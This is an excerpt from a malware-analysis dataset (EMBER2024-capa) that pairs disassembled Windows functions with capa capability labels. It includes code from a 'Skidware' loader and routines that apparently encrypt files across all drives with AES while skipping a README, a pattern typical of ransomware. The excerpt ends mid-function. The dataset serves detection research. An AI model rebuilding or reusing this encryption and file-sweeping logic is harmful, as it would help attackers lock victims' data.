joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a8c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x30
movsxd rax, edx
mov rdi, rcx
dec rax
mov qword [r11 + 0x18], rbp
mov rbp, r9
xor r9d, r9d
lea rax, [rcx + rax*2]
mov qword [rsp + 8], rax
cmp rcx, rax
jae 0x14001aae9
mov qword [r11 + 0x20], rsi
lea rsi, [0x140000000]
mov qword [r11 + 0x10], rbx
mov qword [r11 - 0x10], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x20], r14
mov qword [r11 - 0x28], r15
mov qword [rsp], r8
test rbp, rbp
je 0x14001a922
cmp r8, rbp
jae 0x14001aac6
movzx edx, byte [r8]
test dl, dl
je 0x14001aac6
mov eax, edx
mov rcx, rbp
shr rax, 3
movsx r9, byte [rax + rsi + 0x72180]
xor eax, eax
test r9d, r9d
mov ebx, eax
sete bl
add ebx, r9d
test rbp, rbp
jne 0x14001a958
movsxd rcx, ebx
add rcx, r8
cmp r8, rcx
mov r14d, edx
cmovae r14d, eax
lea rax, [r8 + 1]
cmp rax, rcx
jae 0x14001a971
movzx r13d, byte [rax]
jmp 0x14001a974
xor r13b, r13b
lea rax, [r8 + 2]
cmp rax, rcx
jae 0x14001a983
movzx r12d, byte [rax]
jmp 0x14001a986
xor r12b, r12b
lea rax, [r8 + 3]
cmp rax, rcx
jae 0x14001a995
movzx r15d, byte [rax]
jmp 0x14001a998
xor r15b, r15b
lea r10, [r9*4]
movzx eax, r14b
mov esi, dword [r10 + rsi + 0x721a0]
and esi, eax
movzx r9d, r13b
shl esi, 6
mov eax, r9d
and eax, 0x3f
movzx edx, r12b
or esi, eax
movzx r11d, r15b
shl esi, 6
and r9d, 0xc0
mov eax, edx
and edx, 0xc0
and eax, 0x3f
or esi, eax
mov eax, r11d
shr r11d, 2
and eax, 0x3f
or r11d, edx
shl esi, 6
or esi, eax
shr r11d, 2
or r11d, r9d
lea rax, [0x140000000]
mov ecx, dword [r10 + rax + 0x721d0]
shr r11d, 2
shr esi, cl
mov ecx, 0x100
cmp esi, dword [r10 + rax + 0x721b8]
sbb eax, eax
xor r9d, r9d
and eax, 0x40
mov edx, r9d
or r11d, eax
mov eax, esi
and eax, 0xfffff800
cmp eax, 0xd800
mov eax, 0x80
cmove edx, eax
mov eax, r9d
or r11d, edx
cmp esi, 0xffff
cmova eax, ecx
lea rcx, [0x140000000]
mov ecx, dword [r10 + rcx + 0x721e8]
or r11d, eax
xor r11d, 0x2a
sar r11d, cl
test r11d, r11d
je 0x14001aaa3
test r14b, r14b
mov eax, r9d
mov ecx, r9d
mov esi, 0xfffd
setne cl
test r15b, r15b
setne al
add ecx, eax
mov eax, r9d
test r12b, r12b
setne al
add ecx, eax
mov eax, r9d
test r13b, r13b
setne al
add ecx, eax
cmp ebx, ecx
cmovl ecx, ebx
movsxd r8, ecx
add r8, qword [rsp]
jmp 0x14001aaad
movsxd rax, ebx
add r8, rax
test esi, esi
je 0x14001aac6
mov word [rdi], si
add rdi, 2
lea rsi, [0x140000000]
cmp rdi, qword [rsp + 8]
jb 0x14001a910
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
mov word [rdi], r9w
test rax, rax
je 0x14001aaff
mov qword [rax], r8
sub rdi, rcx
sar rdi, 1
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x14001c690
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3260], 0
lea rbx, [rcx + 0x3268]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14001c737
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001c6ea
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14002c9e0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.14002c250
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x3260]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x3270]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1400fc0b8]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001c73f
mov rcx, rbx
call fcn.14002c250
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140021dd0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x1400fc0b0]
mov esi, ecx
mov rbx, qword [rax + 0x1d18]
add rbx, 0x108
cmp dword [rbx], 0
jg 0x140021e19
mov r8d, 0x6d1
lea rdx, str.C:UsersSmellonDownloadsSkidware_V2_loader_1_Skidware_V2_loaderimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x1400718d0]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x140021eac
lea ecx, [rdx + 1]
test r8d, r8d
je 0x140021e98
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x140021e9d
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.14002cb20
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140025790
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x1400fc0b0]
mov rbx, rcx
xor ecx, ecx
mov dword [rax + 0x31fc], ecx
test rbx, rbx
je 0x1400257ff
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
call fcn.140025810
lea rdx, [0x14007682c]
mov rcx, rbx
mov rdi, rax
call fcn.14001a060
mov rbx, rax
test rax, rax
je 0x1400257fa
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x140029c80
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400fc0b0]
cmp byte [rbx + 0x31f8], 0
jne 0x140029df6
cmp dword [rbx + 0x3220], 0
je 0x140029cbd
mov r8d, 0x2b0c
lea rdx, str.C:UsersSmellonDownloadsSkidware_V2_loader_1_Skidware_V2_loaderimguiimgui.cpp
lea rcx, str.g.SettingsWindows.empty__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140029def
lea rdx, [0x140076828]
mov qword [rsp + 0x40], rdi
call fcn.14001a060
mov rdi, rax
test rax, rax
je 0x140029dea
mov qword [rsp + 0x30], rbp
mov rcx, rax
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140029dd7
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140029dd7
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140029dd7
xor r8d, r8d
mov edx, ebp
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140029dd7
mov rbp, rsi
cmp rsi, 0xffffffffffffffff
je 0x140029dd7
mov rax, qword [0x1400fc0b0]
test rax, rax
je 0x140029d66
inc dword [rax + 0x3b0]
mov rdx, qword [0x1400fc0c0]
mov rcx, rbp
call qword [0x1400fa750]
mov rsi, rax
test rax, rax
je 0x140029dd7
mov r9, rdi
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
cmp rax, rbp
je 0x140029da2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140029db3
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, rbp
mov rcx, rsi
call fcn.14001bf40
mov rax, qword [0x1400fc0b0]
test rax, rax
je 0x140029dc5
dec dword [rax + 0x3b0]
mov rdx, qword [0x1400fc0c0]
mov rcx, rsi
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140029de0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov byte [rbx + 0x31f8], 1
movss xmm0, dword [rbx + 0x31fc]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x140029e47
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x31fc], xmm0
jb 0x140029e47
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140029e36
call fcn.140025790
mov dword [rbx + 0x31fc], 0
add rsp, 0x20
pop rbx
ret
mov byte [rbx + 0x398], 1
mov dword [rbx + 0x31fc], 0
add rsp, 0x20
pop rbx
ret
Function at 0x14004f1b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
push r12
sub rsp, 0x78
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm7
mov rax, qword [0x1400faad8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, qword [0x1400fc0b0]
lea rdx, [rsp + 0x30]
movss xmm1, dword [rcx + 0x2c]
mov rdi, rcx
movss xmm0, dword [rax + 0x1674]
mov r12, qword [rax + 0x1d18]
subss xmm1, xmm0
movaps xmm2, xmm0
movss xmm0, dword [rcx + 0x30]
addss xmm2, dword [rax + 0x1a80]
movss xmm6, dword [r12 + 0x118]
movss xmm7, dword [r12 + 0x11c]
movss dword [r12 + 0x11c], xmm0
movss dword [r12 + 0x118], xmm1
addss xmm2, dword [rcx + 0x2c]
movss dword [rcx + 0x2c], xmm2
xor ecx, ecx
movups xmm0, xmmword [rax + 0x16fc]
movups xmmword [rsp + 0x30], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [0x140078834]
movss dword [rsp + 0x3c], xmm0
call fcn.1400220e0
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov ecx, 0x15
movups xmmword [rsp + 0x20], xmm0
call fcn.1400220e0
xor edx, edx
lea rcx, [0x140078958]
lea r8d, [rdx + 0x50]
call fcn.140046850
mov ecx, 2
movzx ebx, al
call fcn.1400219e0
xor ebp, ebp
test bl, bl
je 0x14004f392
mov eax, dword [rdi]
mov qword [rsp + 0xa8], rsi
mov esi, ebp
test eax, eax
jle 0x14004f385
mov qword [rsp + 0xb0], r14
mov r14d, ebp
mov qword [rsp + 0x70], r15
mov r15d, ebp
test r14, r14
js 0x14004f2d1
cmp esi, eax
jl 0x14004f2eb
mov r8d, 0x6c7
lea rdx, str.C:UsersSmellonDownloadsSkidware_V2_loader_1_Skidware_V2_loaderimguiimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [rdi + 8]
add rbx, r15
test dword [rbx + 4], 0x200000
jne 0x14004f365
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14004f309
mov rcx, qword [rcx]
jmp 0x14004f341
movsx eax, word [rbx + 0x24]
cmp ax, 0xffff
je 0x14004f31b
cmp eax, dword [rdi + 0x88]
jl 0x14004f335
mov r8d, 0x89d
lea rdx, str.C:UsersSmellonDownloadsSkidware_V2_loader_1_Skidware_V2_loaderimguiimgui_internal.h
lea rcx, str.tab__NameOffset____1___int_tab__NameOffset___TabsNames.Buf.Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsx rcx, word [rbx + 0x24]
add rcx, qword [rdi + 0x90]
mov eax, dword [rbx]
lea r9, [rsp + 0x20]
cmp dword [rdi + 0x18], eax
mov qword [rsp + 0x20], 0
sete dl
xor r8d, r8d
call fcn.14004ccf0
test al, al
cmovne rbp, rbx
mov eax, dword [rdi]
inc esi
inc r14
add r15, 0x30
cmp esi, eax
jl 0x14004f2c8
mov r15, qword [rsp + 0x70]
mov r14, qword [rsp + 0xb0]
call fcn.140016ed0
mov rsi, qword [rsp + 0xa8]
movss dword [r12 + 0x118], xmm6
mov rax, rbp
movss dword [r12 + 0x11c], xmm7
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14006d620
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x78
pop r12
pop rdi
pop rbp
pop rbx
ret
Function at 0x140068880
Capabilities:
Encode data using xor

Disassembly:
mov r9, r8
xor r11d, r11d
mov r10, rdx
mov r8d, r11d
cmp r9, 8
jb 0x1400688b7
mov rdx, r9
shr rdx, 3
imul rax, rdx, 0xfffffffffffffff8
add r9, rax
mov rax, qword [rcx]
add rcx, 8
xor rax, qword [r10]
add r10, 8
or r8, rax
sub rdx, 1
jne 0x1400688a0
mov rdx, r8
shr rdx, 0x20
or edx, r8d
mov r8d, edx
mov eax, edx
shr r8d, 8
or r8d, edx
shr eax, 0x10
and r8d, 0xff00
or r8d, eax
movzx eax, dl
shr r8d, 8
or r8d, eax
test r9, r9
je 0x1400689a8
sub rcx, r10
cmp r9, 8
jb 0x140068989
mov rax, r9
lea rdx, [r10 + 4]
and rax, 0xfffffffffffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax + rax]
movd xmm2, dword [rcx + rdx - 4]
xorps xmm0, xmm0
movd xmm1, dword [rdx - 4]
lea rdx, [rdx + 8]
punpcklbw xmm2, xmm0
add r11, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rdx - 8]
punpcklbw xmm1, xmm0
orps xmm4, xmm2
movd xmm2, dword [rcx + rdx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp r11, rax
jb 0x140068910
orps xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd eax, xmm3
or r8d, eax
cmp r11, r9
jae 0x1400689a8
add r10, r11
sub r9, r11
nop
movzx edx, byte [rcx + r10]
movzx eax, byte [r10]
lea r10, [r10 + 1]
xor edx, eax
or r8d, edx
sub r9, 1
jne 0x140068990
test r8d, r8d
sete al
ret

Function at 0x14006e2b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006e2fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006e2fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006e2fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006e2fa
cmp dword [rcx + 0x84], 0xe
jbe 0x14006e2fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006e2fc
xor al, al
add rsp, 0x28
ret
Function at 0x140001999
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
xor edx, edx
xor r9d, r9d
lea r8, [0x14000176d]
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x38
ret

Function at 0x1400019c3
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rsi, qword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, 0x40
lea rdi, [0x14000191c]
xor edx, edx
xor eax, eax
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x20], edx
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x28], rax
call rsi
dec ebx
jne 0x1400019dd
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret

Function at 0x140001a32
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
mov eax, 0x1198
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140009320
sub rsp, rax
xor eax, eax
lea r8, str._s.
mov qword [rsp + 0x11e0], rcx
mov ecx, 0x3fc
mov r9, qword [rsp + 0x11e0]
lea rbx, [rsp + 0x190]
mov qword [rsp + 0x190], rax
lea rdi, [rsp + 0x1a0]
mov ebp, edx
mov edx, 0x1000
mov qword [rsp + 0x198], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, rbx
call fcn.140001a10
mov rcx, rbx
call fcn.1400021c0
mov rcx, rbx
mov r12d, eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001bf6
lea r13, [0x140011017]
lea r14, [0x140011019]
lea r15, str.___README___
lea rsi, [rsp + 0x7c]
mov rdx, r13
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001bd7
mov rdx, r14
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001bd7
mov rdx, r15
mov rcx, rsi
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001bd7
mov qword [rsp + 0x20], rsi
mov r9, qword [rsp + 0x11e0]
mov edx, 0x1000
mov rcx, rbx
lea r8, str._s_s
call fcn.140001a10
mov eax, dword [rsp + 0x50]
test al, 0x10
je 0x140001b75
bt eax, 0xa
jb 0x140001bd7
xor edx, edx
mov rcx, rbx
call fcn.140002228
test al, al
je 0x140001bd7
mov edx, ebp
mov rcx, rsi
call fcn.140001f4c
mov rcx, rbx
mov edx, eax
call fcn.140001a32
jmp 0x140001bd7
mov rcx, rbx
call fcn.1400022a9
test al, al
je 0x140001bd7
mov eax, dword [rsp + 0x6c]
mov edx, dword [rsp + 0x70]
shl rax, 0x20
or rdx, rax
test r12b, r12b
je 0x140001b9e
cmp rdx, 0x9fffff
jbe 0x140001bd7
lea r8, [rsp + 0x4f]
mov rcx, rbx
mov byte [rsp + 0x4f], 0
call fcn.14000371a
movzx r9d, byte [rsp + 0x4f]
mov rcx, qword [rsp + 0x64]
mov dword [rsp + 0x3c], r9d
call fcn.1400025fb
mov r9d, dword [rsp + 0x3c]
mov edx, ebp
mov rcx, rsi
mov r8, rax
call fcn.14000200c
mov rdx, qword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001adf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
add rsp, 0x1198
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140001c74
Capabilities:
Get disk information

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor edx, edx
xor ecx, ecx
call rdi
mov esi, eax
test eax, eax
jne 0x140001c92
xor ebx, ebx
jmp 0x140001cad
movsxd rcx, eax
mov edx, 1
call fcn.14000237a
mov ecx, esi
mov rbx, rax
mov rdx, rax
call rdi
test eax, eax
je 0x140001c8e
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140001cb8
Capabilities:
Create thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x170
call fcn.140001c74
mov rsi, rax
test rax, rax
je 0x140001d9e
mov rcx, rax
lea rdi, [rsp + 0xa0]
xor ebx, ebx
call fcn.140001c2f
mov ecx, 0x34
lea r13, [rsp + 0xa0]
lea r12, [0x140001c0c]
mov rbp, rax
xor eax, eax
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x38]
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x38]
mov r14, qword [rbp + rbx*8]
test r14, r14
je 0x140001d78
mov rcx, r14
call sub.msvcrt.dll_strlen
mov r8, r12
xor edx, edx
xor ecx, ecx
mov byte [r14 + rax - 1], 0
xor eax, eax
mov r9, qword [rbp + rbx*8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [r13 + rbx*8], rax
test rax, rax
je 0x140001d9e
inc rbx
add rdi, 4
cmp rbx, 0x1a
jne 0x140001d18
or r9d, 0xffffffff
mov r8d, 1
mov rdx, r13
mov ecx, 0x1a
jmp 0x140001d87
or r9d, 0xffffffff
mov r8d, 1
mov rdx, r13
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, rbp
call sub.msvcrt.dll_free
mov rcx, rsi
call sub.msvcrt.dll_free
nop
add rsp, 0x170
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140002397
Capabilities:
Create process on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4d0
xor ebx, ebx
lea rsi, str.btstrpd
mov ebp, ecx
mov r12, rdx
cmp ebp, ebx
jle 0x1400023cf
mov rcx, qword [r12 + rbx*8]
mov rdx, rsi
inc rbx
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400023b2
jmp 0x1400024c6
xor ecx, ecx
xor eax, eax
lea rdi, [rsp + 0xe0]
mov r8d, 0x400
mov qword [rsp + 0xd0], rcx
lea rbx, [rsp + 0xd0]
mov qword [rsp + 0xd8], rcx
mov ecx, 0xfc
mov rdx, rbx
rep stosd dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400024c6
lea rdi, [0x140011318]
mov rcx, rbx
xor esi, esi
mov rdx, rdi
call sub.msvcrt.dll_strcat
inc rsi
cmp ebp, esi
jle 0x140002445
mov rdx, qword [r12 + rsi*8]
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_strcat
jmp 0x140002425
lea rdx, str.btstrpd
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rdx, rdi
mov rcx, rbx
lea rdi, [rsp + 0x6c]
call sub.msvcrt.dll_strcat
xor eax, eax
mov ecx, 0x19
xor edx, edx
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x50]
mov ecx, 6
xor r9d, r9d
rep stosd dword [rdi], eax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], edx
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
xor eax, eax
mov dword [rsp + 0x20], edx
mov rdx, rbx
mov dword [rsp + 0x68], 0x68
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400024c6
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
add rsp, 0x4d0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002613
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
xor edx, edx
mov qword [rsp + 0x30], rax
mov rbx, rcx
lea r8, [rsp + 0x20]
xor ecx, ecx
mov qword [rsp + 0x38], rax
movabs rax, 0x4d55474f43534f42
mov dword [rsp + 0x20], 0x626f6c47
mov qword [rsp + 0x27], rax
mov dword [rsp + 0x23], 0x5c6c6162
mov dword [rsp + 0x2f], 0x30303030
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
cmp eax, 0xb7
sete al
cmp edx, 5
sete dl
or eax, edx
add rsp, 0x40
pop rbx
ret

Function at 0x1400027c4
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
sub rsp, 0x28
call sub.ADVAPI32.dll_SystemFunction036
test al, al
setne al
add rsp, 0x28
ret
Function at 0x140002801
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [0x140012770]
mov r9b, byte [rax]
lea rax, [rdx + 0x260]
test r9b, r9b
mov r9d, dword [rdx + 0x248]
mov edx, dword [rdx + 0x24c]
je 0x140002832
add r9d, edx
mov rdx, rax
mov r9d, r9d
jmp 0x1400060f7
add r9d, edx
add rcx, 0x100
mov rdx, rax
mov r9d, r9d
jmp 0x140005c17
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rdi, rdx
lea rbp, [r8 + r9]
mov rbx, r8
lea r12, [rcx + 8]
cmp rbx, rbp
je 0x140005c66
xor eax, eax
mov dl, byte [rdi + rax]
xor byte [rbx + rax], dl
inc rax
cmp rax, 0x10
jne 0x140005c39
mov ecx, dword [rsi + 0xf8]
mov r8, rbx
mov rdx, r12
add rbx, 0x10
call fcn.140005c85
movups xmm0, xmmword [rbx - 0x10]
movups xmmword [rdi], xmm0
jmp 0x140005c32
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
push rdi
push rsi
sub rsp, 0x1a8
movups xmmword [rsp + 0x100], xmm6
movups xmmword [rsp + 0x110], xmm7
movups xmmword [rsp + 0x120], xmm8
movups xmmword [rsp + 0x130], xmm9
movups xmmword [rsp + 0x140], xmm10
movups xmmword [rsp + 0x150], xmm11
movups xmmword [rsp + 0x160], xmm12
movups xmmword [rsp + 0x170], xmm13
movups xmmword [rsp + 0x180], xmm14
movups xmmword [rsp + 0x190], xmm15
movups xmm0, xmmword [rdx]
mov rsi, rcx
mov ecx, dword [rcx + 0xf8]
mov rax, rdx
add r9, r8
lea r10, [rsp + 0x10]
add rsi, 8
mov rdx, rcx
inc rcx
mov rdi, r10
shl rcx, 4
rep movsb byte [rdi], byte [rsi]
movups xmm4, xmmword [rsp + 0x20]
movups xmm15, xmmword [rsp + 0x10]
movups xmm5, xmmword [rsp + 0x40]
movups xmm6, xmmword [rsp + 0x50]
movups xmmword [rsp], xmm4
movups xmm7, xmmword [rsp + 0x60]
movups xmm4, xmmword [rsp + 0x30]
movups xmm8, xmmword [rsp + 0x70]
movups xmm9, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm10, xmmword [rsp + 0x90]
movups xmm11, xmmword [rsp + 0xa0]
movups xmm12, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movups xmm13, xmmword [rsp + 0xe0]
movups xmm14, xmmword [rsp + 0xf0]
cmp r8, r9
je 0x140006271
movups xmm3, xmmword [r8]
xorps xmm0, xmm15
xorps xmm0, xmm3
aesenc xmm0, xmmword [rsp]
aesenc xmm0, xmm4
aesenc xmm0, xmm5
aesenc xmm0, xmm6
aesenc xmm0, xmm7
aesenc xmm0, xmm8
aesenc xmm0, xmm9
aesenc xmm0, xmm10
aesenc xmm0, xmm11
cmp edx, 0xa
jne 0x14000623f
aesenclast xmm0, xmm1
jmp 0x140006267
aesenc xmm0, xmm1
aesenc xmm0, xmm12
cmp edx, 0xc
jne 0x140006256
aesenclast xmm0, xmm2
jmp 0x140006267
aesenc xmm0, xmm2
aesenc xmm0, xmm13
aesenclast xmm0, xmm14
movups xmmword [r8], xmm0
add r8, 0x10
jmp 0x1400061f1
movups xmm6, xmmword [rsp + 0x100]
movups xmmword [rax], xmm0
movups xmm7, xmmword [rsp + 0x110]
movups xmm8, xmmword [rsp + 0x120]
movups xmm9, xmmword [rsp + 0x130]
movups xmm10, xmmword [rsp + 0x140]
movups xmm11, xmmword [rsp + 0x150]
movups xmm12, xmmword [rsp + 0x160]
movups xmm13, xmmword [rsp + 0x170]
